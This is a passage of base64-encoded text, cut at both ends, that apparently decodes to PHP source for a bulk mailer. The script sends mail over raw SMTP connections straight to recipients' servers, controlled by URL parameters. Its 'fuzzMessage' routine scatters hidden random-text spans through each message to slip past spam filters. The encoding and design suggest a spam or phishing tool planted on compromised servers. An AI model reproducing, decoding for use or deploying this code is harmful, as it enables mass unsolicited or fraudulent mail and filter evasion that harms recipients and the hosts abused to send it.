m5lY3QhPGJyPiI7CgkJCQkJLy9leGl0KCk7CgkJCQl9CgkJCX0KCQl9Cgl9CgkvL2VjaG8gJHNtdHBTZXJ2ZXI7CglyZXR1cm4gJHNtdHBjb25uOwp9CmZ1bmN0aW9uIHNheUhlbGxvKCRzbXRwY29ubiwkZG9taG9zdCl7CglnbG9iYWwgJHNtdHBfZnJvbTsKCSR0YWxrID0gYXJyYXkoKTsKCSRmZW1haWwgPSBzdHJfcmVwbGFjZSgie3tob3N0bmFtZX19IiwkZG9taG9zdCwkc210cF9mcm9tKTsKCWxpc3QoJHVzYSwkZG9taG9zdCkgPSBleHBsb2RlKCdAJywkZmVtYWlsKTsKCSR0YWxrWyJiYW5uZXIiXSA9IGdldF9saW5lKCRzbXRwY29ubix0cnVlKTsKCWZwdXRzICgkc210cGNvbm4sICJFSExPICIuJGRvbWhvc3QuIlxyXG4iKTsKCSR0YWxrWyJoZWxsbyJdID0gZ2V0X2xpbmUoJHNtdHBjb25uKTsKCWlmIChzdHJwb3MoJHRhbGtbJ2hlbGxvJ10sICdTVEFSVFRMUycpICYmIGlzc2V0KCRfR0VUWydkaXJlY3RzZW5kJ10pKSB7CgkJCgl9CglpZiAoc3RycG9zKCR0YWxrWydoZWxsbyddLCAnMjUwJyk9PT1mYWxzZSkgewoJCWZwdXRzKCRzbXRwY29ubiwgIkhFTE8gIi4kZG9taG9zdC4iXHJcbiIpOwoJCSR0YWxrWyJoZWxsbyJdIC49IGdldF9saW5lKCRzbXRwY29ubik7Cgl9CglyZXR1cm4gJHRhbGs7Cn0KZnVuY3Rpb24gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRzbXRwY29ubiwkcmVjaXBpZW50LCR0YWxrKXsKCWdsb2JhbCAkY291bnQsJGNvdW50ZXIsJG5leHRUbzsKCWlmIChpc3NldCgkX0dFVFsnZGVidWcnXSkpIHsKCQlwcmludF9yKCR0YWxrKTsKCX0KCSRyZWNvbm5lY3RBZnRlciA9IDQ5OwoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSAmJiBpc19udW1lcmljKCRfR0VUWydjaHVuayddKSkgewoJCSRyZWNvbm5lY3RBZnRlciA9ICRfR0VUWydjaHVuayddOwoJfQoJJHRvUGFydHMgPSBleHBsb2RlKCcsJywgJHJlY2lwaWVudCk7CgkkbnRvUGFydHMgPSBleHBsb2RlKCcsJywkbmV4dFRvKTsKCWxpc3QoJG51c2VyLCRkaXNkb20pID0gZXhwbG9kZSgnQCcsICR0b1BhcnRzWzBdKTsKCWxpc3QoJG91c2VyLCRuZXhkb20pID0gZXhwbG9kZSgnQCcsICRudG9QYXJ0c1swXSk7Cgkkc3RhdHMgPSBpbXBsb2RlKCIgIiwgJHRhbGspOwoJaWYgKHByZWdfbWF0Y2goIi89PlxzWzQ1XVswLTldezJ9KC18XHMpLyIsICRzdGF0cyk9PT10cnVlIHx8IHN0cmxlbigkc3RhdHMpIDwgOCkgewoJCSRlcnJvclNlbmRpbmcgPSB0cnVlOwoJfQoJLy9lY2hvICIkZGlzZG9tIC0+ICRuZXhkb20iOwoJaWYgKCRjaHVuaz09ZmFsc2UpIHsKCQlmcHV0cyAoJHNtdHBjb25uLCAiUVVJVFxyXG4iKTsKCQlmY2xvc2UoJHNtdHBjb25uKTsKCQkkc210cGNvbm4gPSBmYWxzZTsKCX1lbHNlaWYgKCRjb3VudDw9JGNvdW50ZXIgfHwgJGNvdW50ZXIlJHJlY29ubmVjdEFmdGVyID09IDAgfHwgJGRpc2RvbSE9JG5leGRvbSB8fCAkZXJyb3JTZW5kaW5nID09IHRydWUpIHsKCQlmcHV0cyAoJHNtdHBjb25uLCAiUVVJVFxyXG4iKTsKCQlmY2xvc2UoJHNtdHBjb25uKTsKCQkkc210cGNvbm4gPSBmYWxzZTsKCX0KCWlmICgkY291bnRlciUyMD09MCkgewoJCS8vc2xlZXAoMSk7Cgl9CglyZXR1cm4gJHNtdHBjb25uOwp9CmZ1bmN0aW9uIG1peCgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpewoJaWYgKCFpc3NldCgkX1NFU1NJT05bJ21ldGgnXSl8fCRfU0VTU0lPTlsnbWV0aCddID09ICdjb25mdXNlJykgewoJCSRfU0VTU0lPTlsnbWV0aCddID0gJ2NvbmZ1c2UyJzsKCQlyZXR1cm4gc2VuZE1haWwoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KTsKCX1lbHNlaWYgKCRfU0VTU0lPTlsnbWV0aCddID09ICdjb25mdXNlMicpIHsKCQkkX1NFU1NJT05bJ21ldGgnXSA9ICdjb25mdXNlJzsKCQlyZXR1cm4gc2VuZE1haWwzKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSk7Cgl9Cn0KZnVuY3Rpb24gZ2V0X2xpbmUoJHNtdHBDb25uZWN0aW9uLCRwYXJ0aWFsPWZhbHNlKXsKCSRkYXRhID0gIiI7CgkvL3JldHVybiBAZmdldHMoJHNtdHBDb25uZWN0aW9uLDUwKTsKCSB3aGlsZSgkc3RyID0gQGZnZXRzKCRzbXRwQ29ubmVjdGlvbiw1MTIpKSB7CgkJICRkYXRhIC49ICRzdHI7CgkgCWlmKHN1YnN0cigkc3RyLDMsMSkgPT0gIiAiKSB7IGJyZWFrOyB9CgkgfQoJIHJldHVybiAkZGF0YTsKfQoKZnVuY3Rpb24gc2VuZE1haWwgKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSl7CglnbG9iYWwgJGNvdW50LCRjb3VudGVyLCRTTVRQSU4sJFNNVFBJTmhvbGQsJHNtdHBfZnJvbTsKCWlmICgkY291bnRlciUxMD09MCkgewoJCSRTTVRQSU5ob2xkID0gZnNvY2tvcGVuICgkc210cFNlcnZlciwgJHNtdHBQb3J0KTsKCX0KCSRlaGxvSG9zdCA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT9nZXRob3N0YnlhZGRyKCRfU0VSVkVSWydTRVJWRVJfQUREUiddKTpnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydMT0NBTF9BRERSJ10pOwoJaWYgKCRTTVRQSU49PT1mYWxzZXx8ISRTTVRQSU4pIHsKCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCSR0YWxrID0gc2F5SGVsbG8oJFNNVFBJTiwgJGVobG9Ib3N0KTsKCX1lbHNlewoJICAgIC8vdXNpbmcgcHJldmlvdXMgY29ubgoJICAgIGZwdXRzICgkU01UUElOLCAiUlNFVFxyXG4iKTsKCSAgICAkdGFsa1sncmVzZXQnXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJJHVzZXJuYW1lID0gZ2VuZXJhdGVSYW5kb21BbHBoYU51bWVyaWNTdHJpbmcoOCk7CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006IDwkc2Zyb20+XHJcbiIpOwoJCWZwdXRzICgkU01UUElOLCAiUkNQVCBUTzogPCIuJHRvLiI+XHJcbiIpOwoJCWZwdXRzKCRTTVRQSU4sICJEQVRBXHJcbiIpOwoJCWZwdXRzKCRTTVRQSU4sICRtZXNzYWdlQm9keS4iXHJcbi5cclxuIik7CQoKCX0KCgkvL25lZWQgYSBuZXcgY29ubmVjdGlvbiBzbyBjbG9zZSB0aGlzIG9uZS4KCWZwdXRzICgkU01UUElOLCAiUVVJVFxyXG4iKTsKCWZjbG9zZSgkU01UUElOKTsKCSRTTVRQSU4gPSBmYWxzZTsKCglpZiAoaXNzZXQoJF9HRVRbJ2RlYnVnJ10pKSB7CgkJcHJpbnRfcigkdGFsayk7Cgl9CgoJcmV0dXJuICR0YWxrOwp9CgpmdW5jdGlvbiBzZW5kTWFpbDIgKCRmcm9tLCAkdG8sICRtZXNzYWdlQm9keSl7CglnbG9iYWwgJGNvdW50LCRjb3VudGVyLCRTTVRQSU4sJHNtdHBfZnJvbTsKCSRjaHVuayA9IGZhbHNlOwoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCSRjaHVuayA9IHRydWU7Cgl9CgkKCSRlaGxvSG9zdCA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT9nZXRob3N0YnlhZGRyKCRfU0VSVkVSWydTRVJWRVJfQUREUiddKTpnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydMT0NBTF9BRERSJ10pOwoJCWlmICghJFNNVFBJTikgewoJCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCQkkdGFsayA9IHNheUhlbGxvKCRTTVRQSU4sICRlaGxvSG9zdCk7CgkJfWVsc2V7CgkgICAgLy91c2luZyBwcmV2aW91cyBjb25uCgkgICAgZnB1dHMgKCRTTVRQSU4sICJSU0VUXHJcbiIpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSR1c2VybmFtZSA9IGdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKDgpOwoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006PCRzZnJvbT5cclxuIik7CgkJJHRhbGtbIkZyb20iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWZwdXRzICgkU01UUElOLCAiUkNQVCBUTzogPCIuJHRvLiI+XHJcbiIpOwoJCSR0YWxrWyJUbyJdID0gZ2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CgkJZnB1dHMoJFNNVFBJTiwgIkRBVEFcclxuIik7CgkJJHRhbGtbImRhdGEiXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWZwdXRzKCRTTVRQSU4sICRtZXNzYWdlQm9keS4iXHJcbi5cclxuIik7CgkJJHRhbGtbInNlbmQiXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoKCX0KCgkvL25lZWQgYSBuZXcgY29ubmVjdGlvbiBzbyBjbG9zZSB0aGlzIG9uZS4KCSRTTVRQSU4gPSBxdWl0Q29ubmVjdGlvbigkY2h1bmssJFNNVFBJTiwkdG8sJHRhbGspOwoKCXJldHVybiAkdGFsazsKfQoKZnVuY3Rpb24gc2VuZE1haWwzICgkZnJvbSwgJHRvLCAkbWVzc2FnZUJvZHkpewoJZ2xvYmFsICRjb3VudCwkY291bnRlciwkU01UUElOLCRzbXRwX2Zyb207CgkkY2h1bmsgPSBmYWxzZTsKCSRlaGxvSG9zdCA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT9nZXRob3N0YnlhZGRyKCRfU0VSVkVSWydTRVJWRVJfQUREUiddKTpnZXRob3N0YnlhZGRyKCRfU0VSVkVSWydMT0NBTF9BRERSJ10pOwoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCSRjaHVuayA9IHRydWU7Cgl9CglpZiAoISRTTVRQSU4pIHsKCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCSR0YWxrID0gc2F5SGVsbG8oJFNNVFBJTiwgJGVobG9Ib3N0KTsKCX1lbHNlewoJICAgIC8vdXNpbmcgcHJldmlvdXMgY29ubgoJICAgIGZwdXRzICgkU01UUElOLCAiUlNFVFxyXG4iKTsKCX0KCWlmICgkU01UUElOKXsKCQkkdXNlcm5hbWUgPSBnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZyg4KTsKCQkkc2Zyb20gPSAkc210cF9mcm9tOwoJCSRzZnJvbSA9IHN0cl9yZXBsYWNlKCd7e2hvc3RuYW1lfX0nLCAkZWhsb0hvc3QsICRzbXRwX2Zyb20pOwoJCQoJCWZwdXRzICgkU01UUElOLCAiTUFJTCBGUk9NOjwkc2Zyb20+XHJcbiIpOwoJICAgICR0YWxrWyJGcm9tIl0gPSBnZXRfbGluZSgkU01UUElOKTsKCQlmcHV0cyAoJFNNVFBJTiwgIlJDUFQgVE86IDwiLiR0by4iPlxyXG4iKTsKCQkkdGFsa1siVG8iXSA9IGdldF9saW5lKCRTTVRQSU4pOwoJCWZwdXRzKCRTTVRQSU4sICJEQVRBXHJcbiIpOwoJCSR0YWxrWyJkYXRhIl09Z2V0X2xpbmUoJFNNVFBJTik7CgkJZnB1dHMoJFNNVFBJTiwgJG1lc3NhZ2VCb2R5LiJcclxuLlxyXG4iKTsKCQkkdGFsa1sic2VuZCJdPWdldF9saW5lKCRTTVRQSU4pOwkKCgl9CgoJLy9uZWVkIGEgbmV3IGNvbm5lY3Rpb24gc28gY2xvc2UgdGhpcyBvbmUuCgkkU01UUElOID0gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRTTVRQSU4sJHRvLCR0YWxrKTsKCglyZXR1cm4gJHRhbGs7Cn0KCmZ1bmN0aW9uIHNlbmRNYWlsNCAoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KXsKCWdsb2JhbCAkY291bnQsJGNvdW50ZXIsJFNNVFBJTiwkc210cF9mcm9tOwoJJGNodW5rID0gZmFsc2U7CgkkZWhsb0hvc3QgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk6Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnTE9DQUxfQUREUiddKTsKCWlmIChpc3NldCgkX0dFVFsnY2h1bmsnXSkpIHsKCQkkY2h1bmsgPSB0cnVlOwoJfQoJaWYgKCRTTVRQSU49PT1mYWxzZXx8ISRTTVRQSU4pIHsKCQkkU01UUElOID0gZ2V0Q29ubmVjdGlvbigkdG8pOwoJCSR0YWxrID0gc2F5SGVsbG8oJFNNVFBJTiwgJGVobG9Ib3N0KTsKCX1lbHNlewoJICAgIC8vdXNpbmcgcHJldmlvdXMgY29ubgoJICAgIGZwdXRzICgkU01UUElOLCAiUlNFVFxyXG4iKTsKCSAgICAkdGFsa1sncmVzZXQnXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSR1c2VybmFtZSA9IGdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKDgpOwoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006PCRzZnJvbT5cclxuIik7CgkJJHRhbGtbIkZyb20iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWZwdXRzICgkU01UUElOLCAiUkNQVCBUTzogPCIuJHRvLiI+XHJcbiIpOwoJCSR0YWxrWyJUbyJdID0gZ2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CgkJZnB1dHMoJFNNVFBJTiwgIkRBVEFcclxuIik7CgkJJHRhbGtbImRhdGEiXT1nZXRfbGluZSgkU01UUElOLCB0cnVlKTsKCQlmcHV0cygkU01UUElOLCAkbWVzc2FnZUJvZHkuIlxyXG4uXHJcbiIpOwoJCSR0YWxrWyJzZW5kIl09Z2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CQogICAgICAgIAoJfQoKCS8vbmVlZCBhIG5ldyBjb25uZWN0aW9uIHNvIGNsb3NlIHRoaXMgb25lLgoJJFNNVFBJTiA9IHF1aXRDb25uZWN0aW9uKCRjaHVuaywkU01UUElOLCR0bywkdGFsayk7CgoJcmV0dXJuICR0YWxrOwp9CgpmdW5jdGlvbiBlcnJvck9jY3VyZWQoJHN0YXR1cyl7CgkkcmVzcG9uc2VDb2RlID0gc3Vic3RyKCRzdGF0dXMsIDAsIDEpOwoJLy9wcmludCBzdWJzdHIoJHN0YXR1cywgMCwgMyk7CgkkZXJyb3JDb2RlcyA9IGFycmF5KCI0IiwiNSIpOwoJCQkJCglpZiAoaW5fYXJyYXkoJHJlc3BvbnNlQ29kZSwgJGVycm9yQ29kZXMpKSB7CgkJcmV0dXJuIHRydWU7Cgl9CglyZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHNlbmRNYWlsNSAoJGZyb20sICR0bywgJG1lc3NhZ2VCb2R5KXsKCWdsb2JhbCAkY291bnQsJGNvdW50ZXIsJFNNVFBJTiwkc210cF9mcm9tLCRlcnJvckNvdW50LCRza2lwRG9tYWluOwoJJGNodW5rID0gZmFsc2U7CgkkZWhsb0hvc3QgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk6Z2V0aG9zdGJ5YWRkcigkX1NFUlZFUlsnTE9DQUxfQUREUiddKTsKCWxpc3QoJHUsICRkKSA9IGV4cGxvZGUoJ0AnLCAkdG8pOwoJJGxhc3RGaXZlRXJyb3JDb3VudCA9IGFycmF5X3NsaWNlKCRlcnJvckNvdW50LCAtNSk7CglpZiAoY291bnQoYXJyYXlfdW5pcXVlKCRsYXN0Rml2ZUVycm9yQ291bnQpKT09MSAmJiBjb3VudCgkbGFzdEZpdmVFcnJvckNvdW50KT09NSkgewoJCSRza2lwRG9tYWluW10gPSAkZDsKCX0KCWlmIChpbl9hcnJheSgkZCwgJHNraXBEb21haW4pKSB7CgkJJHRhbGsgPSBhcnJheSgnNTk5LWhhdmluZyBpc3N1ZXMgd2l0aCB0aGF0IHNtdHAgc2VydmVyJyk7CgkJcmV0dXJuICR0YWxrOwoJfQoJaWYgKGlzc2V0KCRfR0VUWydjaHVuayddKSkgewoJCSRjaHVuayA9IHRydWU7Cgl9CglpZiAoJFNNVFBJTj09PWZhbHNlfHwhJFNNVFBJTikgewoJCSRTTVRQSU4gPSBnZXRDb25uZWN0aW9uKCR0byk7CgkJJHN0dGltZTIgPSBtaWNyb3RpbWUodHJ1ZSk7CgkJJGRpZmYgPSAkc3R0aW1lMiAtICRzdHRpbWU7CgkJLy9lY2hvICIkZGlmZiAkc3R0aW1lMiAkc3R0aW1lPGJyPiI7CgkJJHRhbGsgPSBzYXlIZWxsbygkU01UUElOLCAkZWhsb0hvc3QpOwoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1snYmFubmVyJ10pPT10cnVlKXsKCQkJJFNNVFBJTiA9IHF1aXRDb25uZWN0aW9uKCRjaHVuaywkU01UUElOLCR0bywkdGFsayk7CgkJCSRTTVRQSU4gPSBmYWxzZTsKCQkJJGVycm9yQ291bnRbXSA9ICRkOwoJCQlyZXR1cm4gJHRhbGs7CgkJfQoJfWVsc2V7CgkgICAgLy91c2luZyBwcmV2aW91cyBjb25uCgkgICAvLyBmcHV0cyAoJFNNVFBJTiwgIlJTRVRcclxuIik7CgkgICAvLyAkdGFsa1sncmVzZXQnXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJfQoJaWYgKCRTTVRQSU4pewoJCSR1c2VybmFtZSA9IGdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKDgpOwoJCSRzZnJvbSA9ICRzbXRwX2Zyb207CgkJJHNmcm9tID0gc3RyX3JlcGxhY2UoJ3t7aG9zdG5hbWV9fScsICRlaGxvSG9zdCwgJHNtdHBfZnJvbSk7CgkJLy9wcmludCAkc2Zyb207CgkJZnB1dHMgKCRTTVRQSU4sICJNQUlMIEZST006PCRzZnJvbT5cclxuIik7CgkJJHRhbGtbIkZyb20iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1snRnJvbSddKT09dHJ1ZSl7CgkJCSRTTVRQSU4gPSBxdWl0Q29ubmVjdGlvbigkY2h1bmssJFNNVFBJTiwkdG8sJHRhbGspOwoJCQkkU01UUElOID0gZmFsc2U7CgkJCSRlcnJvckNvdW50W10gPSAkZDsKCQkJcmV0dXJuICR0YWxrOwoJCX0KCQlmcHV0cyAoJFNNVFBJTiwgIlJDUFQgVE86IDwiLiR0by4iPlxyXG4iKTsKCQkkdGFsa1siVG8iXSA9IGdldF9saW5lKCRTTVRQSU4sIHRydWUpOwoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1siVG8iXSk9PXRydWUpewoJCQkkU01UUElOID0gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRTTVRQSU4sJHRvLCR0YWxrKTsKCQkJJFNNVFBJTiA9IGZhbHNlOwoJCQlyZXR1cm4gJHRhbGs7CgkJfQoJCWZwdXRzKCRTTVRQSU4sICJEQVRBXHJcbiIpOwoJCSR0YWxrWyJkYXRhIl09Z2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CgkJaWYoZXJyb3JPY2N1cmVkKCR0YWxrWyJkYXRhIl0pPT10cnVlKXsKCQkJJFNNVFBJTiA9IHF1aXRDb25uZWN0aW9uKCRjaHVuaywkU01UUElOLCR0bywkdGFsayk7CgkJCSRTTVRQSU4gPSBmYWxzZTsKCQkJcmV0dXJuICR0YWxrOwoJCX0KCQlmcHV0cygkU01UUElOLCAkbWVzc2FnZUJvZHkuIlxyXG4uXHJcbiIpOwoJCSR0YWxrWyJzZW5kIl09Z2V0X2xpbmUoJFNNVFBJTiwgdHJ1ZSk7CQoJCWlmKGVycm9yT2NjdXJlZCgkdGFsa1sic2VuZCJdKT09dHJ1ZSl7CgkJCSRTTVRQSU4gPSBxdWl0Q29ubmVjdGlvbigkY2h1bmssJFNNVFBJTiwkdG8sJHRhbGspOwoJCQkkU01UUElOID0gZmFsc2U7CgkJCXJldHVybiAkdGFsazsKCQl9CiAgICAgICAgCgl9CgoJLy9uZWVkIGEgbmV3IGNvbm5lY3Rpb24gc28gY2xvc2UgdGhpcyBvbmUuCgkkU01UUElOID0gcXVpdENvbm5lY3Rpb24oJGNodW5rLCRTTVRQSU4sJHRvLCR0YWxrKTsKCglyZXR1cm4gJHRhbGs7Cn0KCgpmdW5jdGlvbiBnZXRfZGF0YSgkdXJsKSB7CglpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkgewoJCQoJCSRjaCA9IGN1cmxfaW5pdCgpOwoJCSR0aW1lb3V0ID0gNTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwoJCSRkYXRhID0gY3VybF9leGVjKCRjaCk7CgkJY3VybF9jbG9zZSgkY2gpOwoJfWVsc2V7CgkJJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKCX0KCXJldHVybiAkZGF0YTsKfQoKCmZ1bmN0aW9uIGZ1enpMaW5lUGFydCgkbGluZVBhcnQpewogICAgZ2xvYmFsICRpZHNMaXN0OwogICAgaWYgKHByZWdfbWF0Y2goIi9eW1xzXHRcblxyXSskLyIsICRsaW5lUGFydCk9PTEpIHsKICAgICAgICByZXR1cm4gJGxpbmVQYXJ0OwogICAgfQogICAgJGluc2VydEludGVydmFsID0gYXJyYXkoMiwgMywgNCk7CiAgICAkcmFuZExlbmd0aCA9IHJhbmdlKDEwLDQzKTsKICAgICRpID0gYXJyYXlfcmFuZCgkcmFuZExlbmd0aCk7CiAgICAkaiA9IGFycmF5X3JhbmQoJGlkc0xpc3QpOwogICAgJGsgPSBhcnJheV9yYW5kKCRpbnNlcnRJbnRlcnZhbCk7CiAgICAkaGlkZUh0bWxDb2RlID0gJzxzcGFuIGlkPSInLiRpZHNMaXN0WyRqXS4nIj4nLmdlbmVyYXRlUmFuZG9tQWxwaGFOdW1lcmljU3RyaW5nKCRyYW5kTGVuZ3RoWyRpXSkuJzwvc3Bhbj4nOwogICAgJG51TGluZVBhcnQgPSBpbXBsb2RlKCRoaWRlSHRtbENvZGUsIHN0cl9zcGxpdCgkbGluZVBhcnQsICRpbnNlcnRJbnRlcnZhbFska10pKS4kaGlkZUh0bWxDb2RlOwogICAgcmV0dXJuICRudUxpbmVQYXJ0Owp9CgpmdW5jdGlvbiBmdXp6TGluZSgkbGluZSl7CiAgICAkbGluZSAgPSB1cmxkZWNvZGUoJGxpbmVbMF0pOwogICAgLy9rZWVwIGEgbGlzdCBvZiBodG1sIGVudGl0aWVzCiAgICBwcmVnX21hdGNoX2FsbCgiLyZbYS16QS1aMC05XXsyLDh9Oy8iLCAkbGluZSwgJGVudGl0aWVzKTsKICAgICRsaW5lUGFydHMgPSBwcmVnX3NwbGl0KCIvJlthLXpBLVowLTldezIsOH07LyIsICRsaW5lKTsKICAgICRmaW5hbExpbmUgPSAiIjsKICAgIC8vcHJpbnRfcigkZW50aXRpZXMpOwogICAgZm9yICgkaT0wOyAkaSA8IGNvdW50KCRlbnRpdGllc1swXSk7ICRpKyspIHsgCiAgICAgICAgJGZpbmFsTGluZSAuPSBmdXp6TGluZVBhcnQoJGxpbmVQYXJ0c1skaV0pLiRlbnRpdGllc1swXVskaV07CiAgICB9CiAgICAkZmluYWxMaW5lIC49IGZ1enpMaW5lUGFydChlbmQoJGxpbmVQYXJ0cykpOwogICAgcmV0dXJuICRmaW5hbExpbmU7Cn0KCmZ1bmN0aW9uIGZ1enpNZXNzYWdlKCRtZXNzYWdlKXsKICAgIGdsb2JhbCAkaWRzTGlzdDsKICAgIGlmIChpc3NldCgkX0dFVFsnbm9mdXp6J10pKSB7CiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQogICAgJGlkc0xpc3QgPSBhcnJheShnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZyg0KSxnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZyg2KSxnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZygyKSk7CiAgICAkaWRzID0gIiMiLmltcGxvZGUoIiwgIyIsICRpZHNMaXN0KTsKICAgIAogICAgJGNzc0JvZHkgPSAiCiAgICA8c3R5bGU+CiAgICAKICAgICRpZHN7CiAgICAgICAgICAgICAgICAgIGNvbG9yOiB0cmFuc3BhcmVudDsKICAgICAgIGRpc3BsYXk6IG5vbmU7CiAgICAgICBoZWlnaHQ6IDA7CiAgICAgICBtYXgtaGVpZ2h0OiAwOwogICAgICAgbWF4LXdpZHRoOiAwOwogICAgICAgb3BhY2l0eTogMDsKICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICBtc28taGlkZTogYWxsOwogICAgICAgdmlzaWJpbGl0eTogaGlkZGVuOwogICAgICAgd2lkdGg6IDA7CiAgICAgICB9CiAgICAKICAgICAgICA8L3N0eWxlPgogICAgIjsKICAgICRtZXNzYWdlID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCIvKD88PT4pW148Pl0rLyIsICJmdXp6TGluZSIsICRtZXNzYWdlKTsKICAgIGlmIChzdHJpcG9zKCRtZXNzYWdlLCAiPC9oZWFkPiIpIT09ZmFsc2UpIHsKICAgICAgICAkcG9zID0gc3RyaXBvcygkbWVzc2FnZSwgIjwvaGVhZD4iKTsKICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cl9yZXBsYWNlKCRtZXNzYWdlLCAkY3NzQm9keSwgJHBvcywgMCk7CiAgICB9ZWxzZWlmKHN0cmlwb3MoJG1lc3NhZ2UsICI8Ym9keT4iKSE9PWZhbHNlKXsKICAgICAgICAkcG9zID0gc3RyaXBvcygkbWVzc2FnZSwgIjxib2R5PiIpOwogICAgICAgICRtZXNzYWdlID0gc3Vic3RyX3JlcGxhY2UoJG1lc3NhZ2UsICRjc3NCb2R5LCAkcG9zLCAwKTsKICAgIH1lbHNlaWYoc3RyaXBvcygkbWVzc2FnZSwgIjxodG1sPiIpIT09ZmFsc2UpewogICAgICAgICRwb3MgPSBzdHJpcG9zKCRtZXNzYWdlLCAiPGh0bWw+Iik7CiAgICAgICAgJG1lc3NhZ2UgPSBzdWJzdHJfcmVwbGFjZSgkbWVzc2FnZSwgJGNzc0JvZHksICRwb3MrNiwgMCk7CiAgICB9ZWxzZXsKICAgICAgICAkbWVzc2FnZSA9ICRjc3NCb2R5LiRtZXNzYWdlOwogICAgfQogICAgCiAgICByZXR1cm4gJG1lc3NhZ2U7Cn0KCgpmdW5jdGlvbiBnZW5lcmF0ZVJhbmRvbUFscGhhTnVtZXJpY1N0cmluZygkbGVuZ3RoID0gMTApIHsKICAgICRjaGFyYWN0ZXJzID0gJzAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7CiAgICAkY2hhcmFjdGVyc0xlbmd0aCA9IHN0cmxlbigkY2hhcmFjdGVycyk7CiAgICAkcmFuZG9tU3RyaW5nID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOwogICAgfQogICAgcmV0dXJuICRyYW5kb21TdHJpbmc7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlUmFuZG9tTnVtZXJpY1N0cmluZygkbGVuZ3RoID0gMTApIHsKICAgICRjaGF